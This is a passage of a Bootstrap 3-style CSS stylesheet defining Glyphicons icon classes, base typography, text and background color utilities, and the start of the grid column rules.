font-family: 'Glyphicons Halflings';\n\n  src: url('../fonts/glyphicons-halflings-regular.eot');\n  src: url('../fonts/glyphicons-halflings-regular.eot?#iefix') format('embedded-opentype'), url('../fonts/glyphicons-halflings-regular.woff2') format('woff2'), url('../fonts/glyphicons-halflings-regular.woff') format('woff'), url('../fonts/glyphicons-halflings-regular.ttf') format('truetype'), url('../fonts/glyphicons-halflings-regular.svg#glyphicons_halflingsregular') format('svg');\n}\n.glyphicon {\n  position: relative;\n  top: 1px;\n  display: inline-block;\n  font-family: 'Glyphicons Halflings';\n  font-style: normal;\n  font-weight: normal;\n  line-height: 1;\n\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n}\n.glyphicon-asterisk:before {\n  content: \"\\002a\";\n}\n.glyphicon-plus:before {\n  content: \"\\002b\";\n}\n.glyphicon-euro:before,\n.glyphicon-eur:before {\n  content: \"\\20ac\";\n}\n.glyphicon-minus:before {\n  content: \"\\2212\";\n}\n.glyphicon-cloud:before {\n  content: \"\\2601\";\n}\n.glyphicon-envelope:before {\n  content: \"\\2709\";\n}\n.glyphicon-pencil:before {\n  content: \"\\270f\";\n}\n.glyphicon-glass:before {\n  content: \"\\e001\";\n}\n.glyphicon-music:before {\n  content: \"\\e002\";\n}\n.glyphicon-search:before {\n  content: \"\\e003\";\n}\n.glyphicon-heart:before {\n  content: \"\\e005\";\n}\n.glyphicon-star:before {\n  content: \"\\e006\";\n}\n.glyphicon-star-empty:before {\n  content: \"\\e007\";\n}\n.glyphicon-user:before {\n  content: \"\\e008\";\n}\n.glyphicon-film:before {\n  content: \"\\e009\";\n}\n.glyphicon-th-large:before {\n  content: \"\\e010\";\n}\n.glyphicon-th:before {\n  content: \"\\e011\";\n}\n.glyphicon-th-list:before {\n  content: \"\\e012\";\n}\n.glyphicon-ok:before {\n  content: \"\\e013\";\n}\n.glyphicon-remove:before {\n  content: \"\\e014\";\n}\n.glyphicon-zoom-in:before {\n  content: \"\\e015\";\n}\n.glyphicon-zoom-out:before {\n  content: \"\\e016\";\n}\n.glyphicon-off:before {\n  content: \"\\e017\";\n}\n.glyphicon-signal:before {\n  content: \"\\e018\";\n}\n.glyphicon-cog:before {\n  content: \"\\e019\";\n}\n.glyphicon-trash:before {\n  content: \"\\e020\";\n}\n.glyphicon-home:before {\n  content: \"\\e021\";\n}\n.glyphicon-file:before {\n  content: \"\\e022\";\n}\n.glyphicon-time:before {\n  content: \"\\e023\";\n}\n.glyphicon-road:before {\n  content: \"\\e024\";\n}\n.glyphicon-download-alt:before {\n  content: \"\\e025\";\n}\n.glyphicon-download:before {\n  content: \"\\e026\";\n}\n.glyphicon-upload:before {\n  content: \"\\e027\";\n}\n.glyphicon-inbox:before {\n  content: \"\\e028\";\n}\n.glyphicon-play-circle:before {\n  content: \"\\e029\";\n}\n.glyphicon-repeat:before {\n  content: \"\\e030\";\n}\n.glyphicon-refresh:before {\n  content: \"\\e031\";\n}\n.glyphicon-list-alt:before {\n  content: \"\\e032\";\n}\n.glyphicon-lock:before {\n  content: \"\\e033\";\n}\n.glyphicon-flag:before {\n  content: \"\\e034\";\n}\n.glyphicon-headphones:before {\n  content: \"\\e035\";\n}\n.glyphicon-volume-off:before {\n  content: \"\\e036\";\n}\n.glyphicon-volume-down:before {\n  content: \"\\e037\";\n}\n.glyphicon-volume-up:before {\n  content: \"\\e038\";\n}\n.glyphicon-qrcode:before {\n  content: \"\\e039\";\n}\n.glyphicon-barcode:before {\n  content: \"\\e040\";\n}\n.glyphicon-tag:before {\n  content: \"\\e041\";\n}\n.glyphicon-tags:before {\n  content: \"\\e042\";\n}\n.glyphicon-book:before {\n  content: \"\\e043\";\n}\n.glyphicon-bookmark:before {\n  content: \"\\e044\";\n}\n.glyphicon-print:before {\n  content: \"\\e045\";\n}\n.glyphicon-camera:before {\n  content: \"\\e046\";\n}\n.glyphicon-font:before {\n  content: \"\\e047\";\n}\n.glyphicon-bold:before {\n  content: \"\\e048\";\n}\n.glyphicon-italic:before {\n  content: \"\\e049\";\n}\n.glyphicon-text-height:before {\n  content: \"\\e050\";\n}\n.glyphicon-text-width:before {\n  content: \"\\e051\";\n}\n.glyphicon-align-left:before {\n  content: \"\\e052\";\n}\n.glyphicon-align-center:before {\n  content: \"\\e053\";\n}\n.glyphicon-align-right:before {\n  content: \"\\e054\";\n}\n.glyphicon-align-justify:before {\n  content: \"\\e055\";\n}\n.glyphicon-list:before {\n  content: \"\\e056\";\n}\n.glyphicon-indent-left:before {\n  content: \"\\e057\";\n}\n.glyphicon-indent-right:before {\n  content: \"\\e058\";\n}\n.glyphicon-facetime-video:before {\n  content: \"\\e059\";\n}\n.glyphicon-picture:before {\n  content: \"\\e060\";\n}\n.glyphicon-map-marker:before {\n  content: \"\\e062\";\n}\n.glyphicon-adjust:before {\n  content: \"\\e063\";\n}\n.glyphicon-tint:before {\n  content: \"\\e064\";\n}\n.glyphicon-edit:before {\n  content: \"\\e065\";\n}\n.glyphicon-share:before {\n  content: \"\\e066\";\n}\n.glyphicon-check:before {\n  content: \"\\e067\";\n}\n.glyphicon-move:before {\n  content: \"\\e068\";\n}\n.glyphicon-step-backward:before {\n  content: \"\\e069\";\n}\n.glyphicon-fast-backward:before {\n  content: \"\\e070\";\n}\n.glyphicon-backward:before {\n  content: \"\\e071\";\n}\n.glyphicon-play:before {\n  content: \"\\e072\";\n}\n.glyphicon-pause:before {\n  content: \"\\e073\";\n}\n.glyphicon-stop:before {\n  content: \"\\e074\";\n}\n.glyphicon-forward:before {\n  content: \"\\e075\";\n}\n.glyphicon-fast-forward:before {\n  content: \"\\e076\";\n}\n.glyphicon-step-forward:before {\n  content: \"\\e077\";\n}\n.glyphicon-eject:before {\n  content: \"\\e078\";\n}\n.glyphicon-chevron-left:before {\n  content: \"\\e079\";\n}\n.glyphicon-chevron-right:before {\n  content: \"\\e080\";\n}\n.glyphicon-plus-sign:before {\n  content: \"\\e081\";\n}\n.glyphicon-minus-sign:before {\n  content: \"\\e082\";\n}\n.glyphicon-remove-sign:before {\n  content: \"\\e083\";\n}\n.glyphicon-ok-sign:before {\n  content: \"\\e084\";\n}\n.glyphicon-question-sign:before {\n  content: \"\\e085\";\n}\n.glyphicon-info-sign:before {\n  content: \"\\e086\";\n}\n.glyphicon-screenshot:before {\n  content: \"\\e087\";\n}\n.glyphicon-remove-circle:before {\n  content: \"\\e088\";\n}\n.glyphicon-ok-circle:before {\n  content: \"\\e089\";\n}\n.glyphicon-ban-circle:before {\n  content: \"\\e090\";\n}\n.glyphicon-arrow-left:before {\n  content: \"\\e091\";\n}\n.glyphicon-arrow-right:before {\n  content: \"\\e092\";\n}\n.glyphicon-arrow-up:before {\n  content: \"\\e093\";\n}\n.glyphicon-arrow-down:before {\n  content: \"\\e094\";\n}\n.glyphicon-share-alt:before {\n  content: \"\\e095\";\n}\n.glyphicon-resize-full:before {\n  content: \"\\e096\";\n}\n.glyphicon-resize-small:before {\n  content: \"\\e097\";\n}\n.glyphicon-exclamation-sign:before {\n  content: \"\\e101\";\n}\n.glyphicon-gift:before {\n  content: \"\\e102\";\n}\n.glyphicon-leaf:before {\n  content: \"\\e103\";\n}\n.glyphicon-fire:before {\n  content: \"\\e104\";\n}\n.glyphicon-eye-open:before {\n  content: \"\\e105\";\n}\n.glyphicon-eye-close:before {\n  content: \"\\e106\";\n}\n.glyphicon-warning-sign:before {\n  content: \"\\e107\";\n}\n.glyphicon-plane:before {\n  content: \"\\e108\";\n}\n.glyphicon-calendar:before {\n  content: \"\\e109\";\n}\n.glyphicon-random:before {\n  content: \"\\e110\";\n}\n.glyphicon-comment:before {\n  content: \"\\e111\";\n}\n.glyphicon-magnet:before {\n  content: \"\\e112\";\n}\n.glyphicon-chevron-up:before {\n  content: \"\\e113\";\n}\n.glyphicon-chevron-down:before {\n  content: \"\\e114\";\n}\n.glyphicon-retweet:before {\n  content: \"\\e115\";\n}\n.glyphicon-shopping-cart:before {\n  content: \"\\e116\";\n}\n.glyphicon-folder-close:before {\n  content: \"\\e117\";\n}\n.glyphicon-folder-open:before {\n  content: \"\\e118\";\n}\n.glyphicon-resize-vertical:before {\n  content: \"\\e119\";\n}\n.glyphicon-resize-horizontal:before {\n  content: \"\\e120\";\n}\n.glyphicon-hdd:before {\n  content: \"\\e121\";\n}\n.glyphicon-bullhorn:before {\n  content: \"\\e122\";\n}\n.glyphicon-bell:before {\n  content: \"\\e123\";\n}\n.glyphicon-certificate:before {\n  content: \"\\e124\";\n}\n.glyphicon-thumbs-up:before {\n  content: \"\\e125\";\n}\n.glyphicon-thumbs-down:before {\n  content: \"\\e126\";\n}\n.glyphicon-hand-right:before {\n  content: \"\\e127\";\n}\n.glyphicon-hand-left:before {\n  content: \"\\e128\";\n}\n.glyphicon-hand-up:before {\n  content: \"\\e129\";\n}\n.glyphicon-hand-down:before {\n  content: \"\\e130\";\n}\n.glyphicon-circle-arrow-right:before {\n  content: \"\\e131\";\n}\n.glyphicon-circle-arrow-left:before {\n  content: \"\\e132\";\n}\n.glyphicon-circle-arrow-up:before {\n  content: \"\\e133\";\n}\n.glyphicon-circle-arrow-down:before {\n  content: \"\\e134\";\n}\n.glyphicon-globe:before {\n  content: \"\\e135\";\n}\n.glyphicon-wrench:before {\n  content: \"\\e136\";\n}\n.glyphicon-tasks:before {\n  content: \"\\e137\";\n}\n.glyphicon-filter:before {\n  content: \"\\e138\";\n}\n.glyphicon-briefcase:before {\n  content: \"\\e139\";\n}\n.glyphicon-fullscreen:before {\n  content: \"\\e140\";\n}\n.glyphicon-dashboard:before {\n  content: \"\\e141\";\n}\n.glyphicon-paperclip:before {\n  content: \"\\e142\";\n}\n.glyphicon-heart-empty:before {\n  content: \"\\e143\";\n}\n.glyphicon-link:before {\n  content: \"\\e144\";\n}\n.glyphicon-phone:before {\n  content: \"\\e145\";\n}\n.glyphicon-pushpin:before {\n  content: \"\\e146\";\n}\n.glyphicon-usd:before {\n  content: \"\\e148\";\n}\n.glyphicon-gbp:before {\n  content: \"\\e149\";\n}\n.glyphicon-sort:before {\n  content: \"\\e150\";\n}\n.glyphicon-sort-by-alphabet:before {\n  content: \"\\e151\";\n}\n.glyphicon-sort-by-alphabet-alt:before {\n  content: \"\\e152\";\n}\n.glyphicon-sort-by-order:before {\n  content: \"\\e153\";\n}\n.glyphicon-sort-by-order-alt:before {\n  content: \"\\e154\";\n}\n.glyphicon-sort-by-attributes:before {\n  content: \"\\e155\";\n}\n.glyphicon-sort-by-attributes-alt:before {\n  content: \"\\e156\";\n}\n.glyphicon-unchecked:before {\n  content: \"\\e157\";\n}\n.glyphicon-expand:before {\n  content: \"\\e158\";\n}\n.glyphicon-collapse-down:before {\n  content: \"\\e159\";\n}\n.glyphicon-collapse-up:before {\n  content: \"\\e160\";\n}\n.glyphicon-log-in:before {\n  content: \"\\e161\";\n}\n.glyphicon-flash:before {\n  content: \"\\e162\";\n}\n.glyphicon-log-out:before {\n  content: \"\\e163\";\n}\n.glyphicon-new-window:before {\n  content: \"\\e164\";\n}\n.glyphicon-record:before {\n  content: \"\\e165\";\n}\n.glyphicon-save:before {\n  content: \"\\e166\";\n}\n.glyphicon-open:before {\n  content: \"\\e167\";\n}\n.glyphicon-saved:before {\n  content: \"\\e168\";\n}\n.glyphicon-import:before {\n  content: \"\\e169\";\n}\n.glyphicon-export:before {\n  content: \"\\e170\";\n}\n.glyphicon-send:before {\n  content: \"\\e171\";\n}\n.glyphicon-floppy-disk:before {\n  content: \"\\e172\";\n}\n.glyphicon-floppy-saved:before {\n  content: \"\\e173\";\n}\n.glyphicon-floppy-remove:before {\n  content: \"\\e174\";\n}\n.glyphicon-floppy-save:before {\n  content: \"\\e175\";\n}\n.glyphicon-floppy-open:before {\n  content: \"\\e176\";\n}\n.glyphicon-credit-card:before {\n  content: \"\\e177\";\n}\n.glyphicon-transfer:before {\n  content: \"\\e178\";\n}\n.glyphicon-cutlery:before {\n  content: \"\\e179\";\n}\n.glyphicon-header:before {\n  content: \"\\e180\";\n}\n.glyphicon-compressed:before {\n  content: \"\\e181\";\n}\n.glyphicon-earphone:before {\n  content: \"\\e182\";\n}\n.glyphicon-phone-alt:before {\n  content: \"\\e183\";\n}\n.glyphicon-tower:before {\n  content: \"\\e184\";\n}\n.glyphicon-stats:before {\n  content: \"\\e185\";\n}\n.glyphicon-sd-video:before {\n  content: \"\\e186\";\n}\n.glyphicon-hd-video:before {\n  content: \"\\e187\";\n}\n.glyphicon-subtitles:before {\n  content: \"\\e188\";\n}\n.glyphicon-sound-stereo:before {\n  content: \"\\e189\";\n}\n.glyphicon-sound-dolby:before {\n  content: \"\\e190\";\n}\n.glyphicon-sound-5-1:before {\n  content: \"\\e191\";\n}\n.glyphicon-sound-6-1:before {\n  content: \"\\e192\";\n}\n.glyphicon-sound-7-1:before {\n  content: \"\\e193\";\n}\n.glyphicon-copyright-mark:before {\n  content: \"\\e194\";\n}\n.glyphicon-registration-mark:before {\n  content: \"\\e195\";\n}\n.glyphicon-cloud-download:before {\n  content: \"\\e197\";\n}\n.glyphicon-cloud-upload:before {\n  content: \"\\e198\";\n}\n.glyphicon-tree-conifer:before {\n  content: \"\\e199\";\n}\n.glyphicon-tree-deciduous:before {\n  content: \"\\e200\";\n}\n.glyphicon-cd:before {\n  content: \"\\e201\";\n}\n.glyphicon-save-file:before {\n  content: \"\\e202\";\n}\n.glyphicon-open-file:before {\n  content: \"\\e203\";\n}\n.glyphicon-level-up:before {\n  content: \"\\e204\";\n}\n.glyphicon-copy:before {\n  content: \"\\e205\";\n}\n.glyphicon-paste:before {\n  content: \"\\e206\";\n}\n.glyphicon-alert:before {\n  content: \"\\e209\";\n}\n.glyphicon-equalizer:before {\n  content: \"\\e210\";\n}\n.glyphicon-king:before {\n  content: \"\\e211\";\n}\n.glyphicon-queen:before {\n  content: \"\\e212\";\n}\n.glyphicon-pawn:before {\n  content: \"\\e213\";\n}\n.glyphicon-bishop:before {\n  content: \"\\e214\";\n}\n.glyphicon-knight:before {\n  content: \"\\e215\";\n}\n.glyphicon-baby-formula:before {\n  content: \"\\e216\";\n}\n.glyphicon-tent:before {\n  content: \"\\26fa\";\n}\n.glyphicon-blackboard:before {\n  content: \"\\e218\";\n}\n.glyphicon-bed:before {\n  content: \"\\e219\";\n}\n.glyphicon-apple:before {\n  content: \"\\f8ff\";\n}\n.glyphicon-erase:before {\n  content: \"\\e221\";\n}\n.glyphicon-hourglass:before {\n  content: \"\\231b\";\n}\n.glyphicon-lamp:before {\n  content: \"\\e223\";\n}\n.glyphicon-duplicate:before {\n  content: \"\\e224\";\n}\n.glyphicon-piggy-bank:before {\n  content: \"\\e225\";\n}\n.glyphicon-scissors:before {\n  content: \"\\e226\";\n}\n.glyphicon-bitcoin:before {\n  content: \"\\e227\";\n}\n.glyphicon-btc:before {\n  content: \"\\e227\";\n}\n.glyphicon-xbt:before {\n  content: \"\\e227\";\n}\n.glyphicon-yen:before {\n  content: \"\\00a5\";\n}\n.glyphicon-jpy:before {\n  content: \"\\00a5\";\n}\n.glyphicon-ruble:before {\n  content: \"\\20bd\";\n}\n.glyphicon-rub:before {\n  content: \"\\20bd\";\n}\n.glyphicon-scale:before {\n  content: \"\\e230\";\n}\n.glyphicon-ice-lolly:before {\n  content: \"\\e231\";\n}\n.glyphicon-ice-lolly-tasted:before {\n  content: \"\\e232\";\n}\n.glyphicon-education:before {\n  content: \"\\e233\";\n}\n.glyphicon-option-horizontal:before {\n  content: \"\\e234\";\n}\n.glyphicon-option-vertical:before {\n  content: \"\\e235\";\n}\n.glyphicon-menu-hamburger:before {\n  content: \"\\e236\";\n}\n.glyphicon-modal-window:before {\n  content: \"\\e237\";\n}\n.glyphicon-oil:before {\n  content: \"\\e238\";\n}\n.glyphicon-grain:before {\n  content: \"\\e239\";\n}\n.glyphicon-sunglasses:before {\n  content: \"\\e240\";\n}\n.glyphicon-text-size:before {\n  content: \"\\e241\";\n}\n.glyphicon-text-color:before {\n  content: \"\\e242\";\n}\n.glyphicon-text-background:before {\n  content: \"\\e243\";\n}\n.glyphicon-object-align-top:before {\n  content: \"\\e244\";\n}\n.glyphicon-object-align-bottom:before {\n  content: \"\\e245\";\n}\n.glyphicon-object-align-horizontal:before {\n  content: \"\\e246\";\n}\n.glyphicon-object-align-left:before {\n  content: \"\\e247\";\n}\n.glyphicon-object-align-vertical:before {\n  content: \"\\e248\";\n}\n.glyphicon-object-align-right:before {\n  content: \"\\e249\";\n}\n.glyphicon-triangle-right:before {\n  content: \"\\e250\";\n}\n.glyphicon-triangle-left:before {\n  content: \"\\e251\";\n}\n.glyphicon-triangle-bottom:before {\n  content: \"\\e252\";\n}\n.glyphicon-triangle-top:before {\n  content: \"\\e253\";\n}\n.glyphicon-console:before {\n  content: \"\\e254\";\n}\n.glyphicon-superscript:before {\n  content: \"\\e255\";\n}\n.glyphicon-subscript:before {\n  content: \"\\e256\";\n}\n.glyphicon-menu-left:before {\n  content: \"\\e257\";\n}\n.glyphicon-menu-right:before {\n  content: \"\\e258\";\n}\n.glyphicon-menu-down:before {\n  content: \"\\e259\";\n}\n.glyphicon-menu-up:before {\n  content: \"\\e260\";\n}\n* {\n  -webkit-box-sizing: border-box;\n     -moz-box-sizing: border-box;\n          box-sizing: border-box;\n}\n*:before,\n*:after {\n  -webkit-box-sizing: border-box;\n     -moz-box-sizing: border-box;\n          box-sizing: border-box;\n}\nhtml {\n  font-size: 10px;\n\n  -webkit-tap-highlight-color: rgba(0, 0, 0, 0);\n}\nbody {\n  font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n  font-size: 14px;\n  line-height: 1.42857143;\n  color: #333;\n  background-color: #fff;\n}\ninput,\nbutton,\nselect,\ntextarea {\n  font-family: inherit;\n  font-size: inherit;\n  line-height: inherit;\n}\na {\n  color: #337ab7;\n  text-decoration: none;\n}\na:hover,\na:focus {\n  color: #23527c;\n  text-decoration: underline;\n}\na:focus {\n  outline: thin dotted;\n  outline: 5px auto -webkit-focus-ring-color;\n  outline-offset: -2px;\n}\nfigure {\n  margin: 0;\n}\nimg {\n  vertical-align: middle;\n}\n.img-responsive,\n.thumbnail > img,\n.thumbnail a > img,\n.carousel-inner > .item > img,\n.carousel-inner > .item > a > img {\n  display: block;\n  max-width: 100%;\n  height: auto;\n}\n.img-rounded {\n  border-radius: 6px;\n}\n.img-thumbnail {\n  display: inline-block;\n  max-width: 100%;\n  height: auto;\n  padding: 4px;\n  line-height: 1.42857143;\n  background-color: #fff;\n  border: 1px solid #ddd;\n  border-radius: 4px;\n  -webkit-transition: all .2s ease-in-out;\n       -o-transition: all .2s ease-in-out;\n          transition: all .2s ease-in-out;\n}\n.img-circle {\n  border-radius: 50%;\n}\nhr {\n  margin-top: 20px;\n  margin-bottom: 20px;\n  border: 0;\n  border-top: 1px solid #eee;\n}\n.sr-only {\n  position: absolute;\n  width: 1px;\n  height: 1px;\n  padding: 0;\n  margin: -1px;\n  overflow: hidden;\n  clip: rect(0, 0, 0, 0);\n  border: 0;\n}\n.sr-only-focusable:active,\n.sr-only-focusable:focus {\n  position: static;\n  width: auto;\n  height: auto;\n  margin: 0;\n  overflow: visible;\n  clip: auto;\n}\n[role=\"button\"] {\n  cursor: pointer;\n}\nh1,\nh2,\nh3,\nh4,\nh5,\nh6,\n.h1,\n.h2,\n.h3,\n.h4,\n.h5,\n.h6 {\n  font-family: inherit;\n  font-weight: 500;\n  line-height: 1.1;\n  color: inherit;\n}\nh1 small,\nh2 small,\nh3 small,\nh4 small,\nh5 small,\nh6 small,\n.h1 small,\n.h2 small,\n.h3 small,\n.h4 small,\n.h5 small,\n.h6 small,\nh1 .small,\nh2 .small,\nh3 .small,\nh4 .small,\nh5 .small,\nh6 .small,\n.h1 .small,\n.h2 .small,\n.h3 .small,\n.h4 .small,\n.h5 .small,\n.h6 .small {\n  font-weight: normal;\n  line-height: 1;\n  color: #777;\n}\nh1,\n.h1,\nh2,\n.h2,\nh3,\n.h3 {\n  margin-top: 20px;\n  margin-bottom: 10px;\n}\nh1 small,\n.h1 small,\nh2 small,\n.h2 small,\nh3 small,\n.h3 small,\nh1 .small,\n.h1 .small,\nh2 .small,\n.h2 .small,\nh3 .small,\n.h3 .small {\n  font-size: 65%;\n}\nh4,\n.h4,\nh5,\n.h5,\nh6,\n.h6 {\n  margin-top: 10px;\n  margin-bottom: 10px;\n}\nh4 small,\n.h4 small,\nh5 small,\n.h5 small,\nh6 small,\n.h6 small,\nh4 .small,\n.h4 .small,\nh5 .small,\n.h5 .small,\nh6 .small,\n.h6 .small {\n  font-size: 75%;\n}\nh1,\n.h1 {\n  font-size: 36px;\n}\nh2,\n.h2 {\n  font-size: 30px;\n}\nh3,\n.h3 {\n  font-size: 24px;\n}\nh4,\n.h4 {\n  font-size: 18px;\n}\nh5,\n.h5 {\n  font-size: 14px;\n}\nh6,\n.h6 {\n  font-size: 12px;\n}\np {\n  margin: 0 0 10px;\n}\n.lead {\n  margin-bottom: 20px;\n  font-size: 16px;\n  font-weight: 300;\n  line-height: 1.4;\n}\n@media (min-width: 768px) {\n  .lead {\n    font-size: 21px;\n  }\n}\nsmall,\n.small {\n  font-size: 85%;\n}\nmark,\n.mark {\n  padding: .2em;\n  background-color: #fcf8e3;\n}\n.text-left {\n  text-align: left;\n}\n.text-right {\n  text-align: right;\n}\n.text-center {\n  text-align: center;\n}\n.text-justify {\n  text-align: justify;\n}\n.text-nowrap {\n  white-space: nowrap;\n}\n.text-lowercase {\n  text-transform: lowercase;\n}\n.text-uppercase {\n  text-transform: uppercase;\n}\n.text-capitalize {\n  text-transform: capitalize;\n}\n.text-muted {\n  color: #777;\n}\n.text-primary {\n  color: #337ab7;\n}\na.text-primary:hover,\na.text-primary:focus {\n  color: #286090;\n}\n.text-success {\n  color: #3c763d;\n}\na.text-success:hover,\na.text-success:focus {\n  color: #2b542c;\n}\n.text-info {\n  color: #31708f;\n}\na.text-info:hover,\na.text-info:focus {\n  color: #245269;\n}\n.text-warning {\n  color: #8a6d3b;\n}\na.text-warning:hover,\na.text-warning:focus {\n  color: #66512c;\n}\n.text-danger {\n  color: #a94442;\n}\na.text-danger:hover,\na.text-danger:focus {\n  color: #843534;\n}\n.bg-primary {\n  color: #fff;\n  background-color: #337ab7;\n}\na.bg-primary:hover,\na.bg-primary:focus {\n  background-color: #286090;\n}\n.bg-success {\n  background-color: #dff0d8;\n}\na.bg-success:hover,\na.bg-success:focus {\n  background-color: #c1e2b3;\n}\n.bg-info {\n  background-color: #d9edf7;\n}\na.bg-info:hover,\na.bg-info:focus {\n  background-color: #afd9ee;\n}\n.bg-warning {\n  background-color: #fcf8e3;\n}\na.bg-warning:hover,\na.bg-warning:focus {\n  background-color: #f7ecb5;\n}\n.bg-danger {\n  background-color: #f2dede;\n}\na.bg-danger:hover,\na.bg-danger:focus {\n  background-color: #e4b9b9;\n}\n.page-header {\n  padding-bottom: 9px;\n  margin: 40px 0 20px;\n  border-bottom: 1px solid #eee;\n}\nul,\nol {\n  margin-top: 0;\n  margin-bottom: 10px;\n}\nul ul,\nol ul,\nul ol,\nol ol {\n  margin-bottom: 0;\n}\n.list-unstyled {\n  padding-left: 0;\n  list-style: none;\n}\n.list-inline {\n  padding-left: 0;\n  margin-left: -5px;\n  list-style: none;\n}\n.list-inline > li {\n  display: inline-block;\n  padding-right: 5px;\n  padding-left: 5px;\n}\ndl {\n  margin-top: 0;\n  margin-bottom: 20px;\n}\ndt,\ndd {\n  line-height: 1.42857143;\n}\ndt {\n  font-weight: bold;\n}\ndd {\n  margin-left: 0;\n}\n@media (min-width: 768px) {\n  .dl-horizontal dt {\n    float: left;\n    width: 160px;\n    overflow: hidden;\n    clear: left;\n    text-align: right;\n    text-overflow: ellipsis;\n    white-space: nowrap;\n  }\n  .dl-horizontal dd {\n    margin-left: 180px;\n  }\n}\nabbr[title],\nabbr[data-original-title] {\n  cursor: help;\n  border-bottom: 1px dotted #777;\n}\n.initialism {\n  font-size: 90%;\n  text-transform: uppercase;\n}\nblockquote {\n  padding: 10px 20px;\n  margin: 0 0 20px;\n  font-size: 17.5px;\n  border-left: 5px solid #eee;\n}\nblockquote p:last-child,\nblockquote ul:last-child,\nblockquote ol:last-child {\n  margin-bottom: 0;\n}\nblockquote footer,\nblockquote small,\nblockquote .small {\n  display: block;\n  font-size: 80%;\n  line-height: 1.42857143;\n  color: #777;\n}\nblockquote footer:before,\nblockquote small:before,\nblockquote .small:before {\n  content: '\\2014 \\00A0';\n}\n.blockquote-reverse,\nblockquote.pull-right {\n  padding-right: 15px;\n  padding-left: 0;\n  text-align: right;\n  border-right: 5px solid #eee;\n  border-left: 0;\n}\n.blockquote-reverse footer:before,\nblockquote.pull-right footer:before,\n.blockquote-reverse small:before,\nblockquote.pull-right small:before,\n.blockquote-reverse .small:before,\nblockquote.pull-right .small:before {\n  content: '';\n}\n.blockquote-reverse footer:after,\nblockquote.pull-right footer:after,\n.blockquote-reverse small:after,\nblockquote.pull-right small:after,\n.blockquote-reverse .small:after,\nblockquote.pull-right .small:after {\n  content: '\\00A0 \\2014';\n}\naddress {\n  margin-bottom: 20px;\n  font-style: normal;\n  line-height: 1.42857143;\n}\ncode,\nkbd,\npre,\nsamp {\n  font-family: Menlo, Monaco, Consolas, \"Courier New\", monospace;\n}\ncode {\n  padding: 2px 4px;\n  font-size: 90%;\n  color: #c7254e;\n  background-color: #f9f2f4;\n  border-radius: 4px;\n}\nkbd {\n  padding: 2px 4px;\n  font-size: 90%;\n  color: #fff;\n  background-color: #333;\n  border-radius: 3px;\n  -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .25);\n          box-shadow: inset 0 -1px 0 rgba(0, 0, 0, .25);\n}\nkbd kbd {\n  padding: 0;\n  font-size: 100%;\n  font-weight: bold;\n  -webkit-box-shadow: none;\n          box-shadow: none;\n}\npre {\n  display: block;\n  padding: 9.5px;\n  margin: 0 0 10px;\n  font-size: 13px;\n  line-height: 1.42857143;\n  color: #333;\n  word-break: break-all;\n  word-wrap: break-word;\n  background-color: #f5f5f5;\n  border: 1px solid #ccc;\n  border-radius: 4px;\n}\npre code {\n  padding: 0;\n  font-size: inherit;\n  color: inherit;\n  white-space: pre-wrap;\n  background-color: transparent;\n  border-radius: 0;\n}\n.pre-scrollable {\n  max-height: 340px;\n  overflow-y: scroll;\n}\n.container {\n  padding-right: 15px;\n  padding-left: 15px;\n  margin-right: auto;\n  margin-left: auto;\n}\n@media (min-width: 768px) {\n  .container {\n    width: 750px;\n  }\n}\n@media (min-width: 992px) {\n  .container {\n    width: 970px;\n  }\n}\n@media (min-width: 1200px) {\n  .container {\n    width: 1170px;\n  }\n}\n.container-fluid {\n  padding-right: 15px;\n  padding-left: 15px;\n  margin-right: auto;\n  margin-left: auto;\n}\n.row {\n  margin-right: -15px;\n  margin-left: -15px;\n}\n.col-xs-1, .col-sm-1, .col-md-1, .col-lg-1, .col-xs-2, .col-sm-2, .col-md-2, .col-lg-2, .col-xs-3, .col-sm-3, .col-md-3, .col-lg-3, .col-xs-4, .col-sm-4, .col-md-4, .col-lg-4, .col-xs-5, .col-sm-5, .col-md-5, .col-lg-5, .col-xs-6, .col-sm-6, .col-md-6, .col-lg-6, .col-xs-7, .col-sm-7, .col-md-7, .col-lg-7, .col-xs-8, .col-sm-8, .col-md-8, .col-lg-8, .col-xs-9, .col-sm-9, .col-md-9, .col-lg-9, .col-xs-10, .col-sm-10, .col-md-10, .col-lg-10, .col-xs-11, .col-sm-11, .col-md-11, .col-lg-11, .col-xs-12, .col-sm-12, .col-md-12, .col-lg-12 {\n  position: relative;\n  min-height: 1px;\n  padding-right: 15px;\n  padding-left: 15px;\n}\n.col-xs-1, .col-xs-2, .col-xs-3, .col-xs-4, .col-xs-5, .col-xs-6, .col-xs-7, .col-xs-8, .col-xs-9, .col-xs-10, .col-xs-11, .col-xs-12 {\n  float: left;\n}\n.col-xs-12 {\n  width: 100%;\n}\n.col-xs-11 {\n  width: 91.66666667%;\n}\n.col-xs-10 {\n  width: 83.33333333%;\n}\n.col-xs-9 {\n  width: 75%;\n}\n.col-xs-8 {\n  width: 66.66666667%;\n}\n.col-xs-7 {\n  width: 58.33333333%;\n}\n.col-xs-6 {\n  width: 50%;\n}\n.col-xs-5 {\n  width: 41.66666667%;\n}\n.col-xs-4 {\n  width: 33.33333333%;\n}\n.col-xs-3 {\n  width: 25%;\n}\n.col-xs-2 {\n  width: 16.66666667%;\n}\n.col-xs-1 {\n  width: 8.33333333%;\n}\n.col-xs-pull-12 {\n  right: 100%;\n}\n.col-xs-pull-11 {\n  right: 91.66666667%;\n}\n.col-xs-pull-10 {\n  right: 83.33333333%;\n}\n.col-xs-pull-9 {\n  right: 75%;\n}\n.col-xs-pull-8 {\n  right: 66.66666667%;\n}\n.col-xs-pull-7 {\n  right: 58.33333333%;\n}\n.col-xs-pull-6 {\n  right: 50%;\n}\n.col-xs-pull-5 {\n  right: 41.66666667%;\n}\n.col-xs-pull-4 {\n  right: 33.33333333%;\n}\n.col-xs-pull-3 {\n  right: 25%;\n}\n.col-xs-pull-2 {\n  right: 16.66666667%;\n}\n.col-xs-pull-1 {\n  right: 8.33333333%;\n}\n.col-xs-pull-0 {\n  right: auto;\n}\n.col-xs-push-12 {\n  left: 100%;\n}\n.col-xs-push-11 {\n  left: 91.66666667%;\n}\n.col-xs-push-10 {\n  left: 83.33333333%;\n}\n.col-xs-push-9 {\n  left: 75%;\n}\n.col-xs-push-8 {\n  left: 66.66666667%;\n}\n.col-xs-push-7 {\n  left: 58.33333333%;\n}\n.col-xs-push-6 {\n  left: 50%;\n}\n.col-xs-push-5 {\n  left: 41.66666667%;\n}\n.col-xs-push-4 {\n  left: 